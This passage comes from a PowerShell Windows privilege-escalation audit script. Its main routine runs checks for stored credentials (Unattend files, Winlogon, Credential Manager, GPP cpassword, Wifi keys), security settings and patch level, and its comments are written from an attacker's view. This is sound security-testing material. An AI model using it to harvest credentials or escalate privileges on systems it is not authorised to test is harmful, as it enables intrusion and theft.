5432 "DESC: Is there any Unattend file? Do they contain cleartext credentials?"
5433 "NOTE: Base64 *encryption*..."
5434 $Results = Invoke-UnattendFilesCheck
5435 if ($Results) {
5436 "[+] Found $(([object[]]$Results).Length) password(s)."
5437 $Results | Format-List
5438 } else {
5439 "[!] Nothing found."
5440 }
5441
5442 "`n"
5443
5444 "TEST: Checking WinLogon registry key..."
5445 "DESC: Does the Winlogon registry key contain any cleartext password?"
5446 "NOTE: Quite unusual configuration, but you never know..."
5447 $Results = Invoke-WinlogonCheck
5448 if ($Results) {
5449 "[*] Found some info:"
5450 $Results | Format-Table -AutoSize
5451 } else {
5452 "[!] Nothing found."
5453 }
5454
5455 "`n"
5456
5457 "TEST: Checking Credential files..."
5458 "DESC: Does the current user have any saved credentials?"
5459 "NOTE: Saved credentials are actually stored as files in the current user's home folder."
5460 $Results = Invoke-CredentialFilesCheck
5461 if ($Results) {
5462 "[*] Found $(([object[]]$Results).Length) file(s)."
5463 $Results | Format-Table -AutoSize
5464 } else {
5465 "[!] Nothing found."
5466 }
5467
5468 "`n"
5469
5470 "TEST: Checking Credential Manager..."
5471 "DESC: Is there any credentials saved in the Credential Manager?"
5472 "NOTE: vault::cred"
5473 $Results = Invoke-VaultCredCheck
5474 if ($Results) {
5475 "[*] Found $(([object[]]$Results).Length) result(s)."
5476 $Results | Format-List
5477 } else {
5478 "[!] Nothing found."
5479 }
5480
5481 "`n"
5482
5483 "TEST: Checking Credential Manager (web)..."
5484 "DESC: Is there any web credentials saved in the Credential Manager?"
5485 "NOTE: vault::list"
5486 $Results = Invoke-VaultListCheck
5487 if ($Results) {
5488 "[*] Found $(([object[]]$Results).Length) result(s)."
5489 $Results | Format-List
5490 } else {
5491 "[!] Nothing found."
5492 }
5493
5494 "`n"
5495
5496 "TEST: Checking Cached Group Policy Preferences..."
5497 "DESC: Is there any cached GPP containing a 'cpassword'?"
5498 "NOTE: It has become very rare but it's still a quick win."
5499 $Results = Invoke-GPPPasswordCheck
5500 if ($Results) {
5501 "[*] Found $(([object[]]$Results).Length) credential(s)."
5502 $Results | Format-List
5503 } else {
5504 "[!] Nothing found."
5505 }
5506
5507 "`n"
5508
5509 "----------------------------------------------------------------"
5510 "| REGISTRY SETTINGS |"
5511 "----------------------------------------------------------------"
5512
5513 "TEST: Checking UAC settings..."
5514 "DESC: Is User Access Control enabled?"
5515 "NOTE: EnableLUA=1 => UAC enabled / EnableLUA=0 => UAC disabled."
5516 $Results = Invoke-UacCheck
5517 if ($Results) {
5518 "[*] UAC status:"
5519 $Results | Format-List
5520 } else {
5521 "[!] Nothing found."
5522 }
5523
5524 "`n"
5525
5526 "TEST: Checking LSA RunAsPPL..."
5527 "DESC: Is lsass running as a Protected Process?"
5528 "NOTE: If Secure Boot or UEFI, RunAsPPL cannot be disabled by deleting the registry key."
5529 $Results = Invoke-LsaProtectionsCheck
5530 if ($Results) {
5531 "[*] Found some info."
5532 $Results | Format-Table -AutoSize
5533 } else {
5534 "[!] Nothing found."
5535 }
5536
5537 "`n"
5538
5539 "TEST: Checking LAPS settings..."
5540 "DESC: Is the `"Local Administrator Password Solution`" enabled?"
5541 "NOTE: Even if we can extract the local admin password/hash, we might not be able to replay it on other machines."
5542 $Results = Invoke-LapsCheck
5543 if ($Results) {
5544 "[*] LAPS status:"
5545 $Results | Format-List
5546 } else {
5547 "[!] Nothing found."
5548 }
5549
5550 "`n"
5551
5552 "TEST: Checking PowerShell Transcription settings..."
5553 "DESC: Is PowerShell Transcription enabled or even configured?"
5554 "NOTE: If so, everything we do in PowerShell is logged into a file."
5555 $Results = Invoke-PowershellTranscriptionCheck
5556 if ($Results) {
5557 "[*] PowerShell Transcription is configured (and enabled?)."
5558 $Results | Format-List
5559 } else {
5560 "[!] Nothing found."
5561 }
5562
5563 "`n"
5564
5565 "TEST: Checking AlwaysInstallElevated registry key..."
5566 "DESC: Is the 'AlwaysInstallElevated' registry key enabled?"
5567 "NOTE: If so, we might be able to run an MSI file as SYSTEM."
5568 $Results = Invoke-RegistryAlwaysInstallElevatedCheck
5569 if ($Results) {
5570 "[+] AlwaysInstallElevated is enabled."
5571 $Result | Format-List
5572 } else {
5573 "[!] Nothing found."
5574 }
5575
5576 "`n"
5577
5578 "----------------------------------------------------------------"
5579 "| NETWORK |"
5580 "----------------------------------------------------------------"
5581
5582 "TEST: Checking TCP endpoints..."
5583 "DESC: Is there any interesting/unusual service?"
5584 #"NOTE: Default ports such as 445 are filtered out."
5585 "NOTE: Showing all listening TCP endpoints."
5586 #$Results = Invoke-TcpEndpointsCheck -Filtered
5587 $Results = Invoke-TcpEndpointsCheck
5588 if ($Results) {
5589 "[*] Found $(([object[]]$Results).Length) TCP endpoints."
5590 $Results | Format-Table -AutoSize
5591 } else {
5592 "[!] Nothing found."
5593 }
5594
5595 "`n"
5596
5597 "TEST: Checking UDP endpoints..."
5598 "DESC: Is there any interesting/unusual service?"
5599 #"NOTE: Default ports such as 500 are filtered out."
5600 "NOTE: Showing all listening UDP endpoints (except DNS)."
5601 #$Results = Invoke-UdpEndpointsCheck -Filtered
5602 $Results = Invoke-UdpEndpointsCheck
5603 if ($Results) {
5604 "[*] Found $(([object[]]$Results).Length) UDP endpoints."
5605 $Results | Format-Table -AutoSize
5606 } else {
5607 "[!] Nothing found."
5608 }
5609
5610 "`n"
5611
5612 "TEST: Checking saved Wifi profiles..."
5613 "DESC: Can we extract any saved WEP key or PSK passphrase?"
5614 "NOTE: This can be useful for lateral movement?"
5615 $Results = Invoke-WlanProfilesCheck
5616 if ($Results) {
5617 "[*] Found $(([object[]]$Results).Length) saved Wifi profiles."
5618 $Results | Format-Table -AutoSize
5619 } else {
5620 "[!] Nothing found."
5621 }
5622
5623 "`n"
5624
5625 "----------------------------------------------------------------"
5626 "| MISC |"
5627 "----------------------------------------------------------------"
5628
5629 "TEST: Checking last Windows Update installation date..."
5630 "DESC: Has the OS been updated lately?"
5631 "NOTE: If the last update is more than 1 month old, we might be able to use some public exploits."
5632 $Results = Invoke-WindowsUpdateCheck
5633 if ($Results) {
5634 "[*] Last update time:"
5635 $Results | Format-Table -AutoSize
5636 } else {
5637 "[!] Nothing found."
5638 }
5639
5640 "`n"
5641
5642 "TEST: Checking system version..."
5643 "DESC: What is the exact version number of the system?"
5644 "NOTE: If we can't get the last system update date and time, this can be useful."
5645 $Results = Invoke-SystemInfoCheck
5646 if ($Results) {
5647 "[*] Found some info."
5648 $Results | Format-Table -AutoSize
5649 } else {
5650 "[!] Nothing found."
5651 }
5652
5653 "`n"
5654
5655 "TEST: Checking local admin group..."
5656 "DESC: Who is a member of the local administator group?"
5657 "NOTE: It's useful to know which user account we can try to compromise next."
5658 $Results = Invoke-LocalAdminGroupCheck
5659 if (([object[]]$Results).Length -gt 0) {
5660 "[*] The default local admin group has $(([object[]]$Results).Length) member(s)."
5661 $Results | Format-Table -AutoSize
5662 } else {
5663 "[!] Nothing found."
5664 }
5665
5666 "`n"
5667
5668 "TEST: Checking machine role..."
5669 "DESC: Is it a Workstation / Server / Domain Controller?"
5670 "NOTE: Not the most useful piece of information, but eh, it doesn't hurt."
5671 $Results = Invoke-MachineRoleCheck
5672 if ($Results) {
5673 "[*] Found some info."
5674 $Results | Format-Table -AutoSize
5675 } else {
5676 "[!] Nothing found"
5677 }
5678
5679 "`n"
5680
5681 "TEST: Checking system startup history..."
5682 "DESC: Can we extract the startup history from the Event Log?"
5683 "NOTE: If the machine is frequently rebooted, we could exploit services that can't be restarted manually."
5684 $Results = Invoke-SystemStartupHistoryCheck
5685 if (([object[]]$Results).Length -gt 0) {
5686 "[*] Found $(([object[]]$Results).Length) startup event(s) in the last 31 days."
5687 "[*] Last startup time was: $(([object[]]$Results)[0].Time)"
5688 $Results | Select-Object -First 10 | Format-Table
5689 } else {
5690 "[!] Nothing found."
5691 }
5692
5693 "`n"
5694
5695 "TEST: Checking last system startup..."
5696 "DESC: Can we calculate the last system startup date based on the current tick count?"
5697 "NOTE: We might not be able to get the system startup history from the Event Log but we can check the uptime."
5698 $Results = Invoke-SystemStartupCheck
5699 if ($Results) {
5700 "[*] Last startup event time:"
5701 $Results | Format-Table -AutoSize
5702 } else {
5703 "[!] Nothing found."
5704 }
5705
5706 "`n"
5707
5708 "TEST: Checking file system drives..."
5709 "DESC: Is there any other partition or mapped share?"
5710 "NOTE: It's quite common to see program folders configured with weak permissions on additional partitions."
5711 $Results = Invoke-SystemDrivesCheck
5712 "[*] Found $(([object[]]$Results).Length) drive(s)."
5713 $Results | Format-Table -AutoSize
5714
5715 "`n"
5716}
5717#endregion Main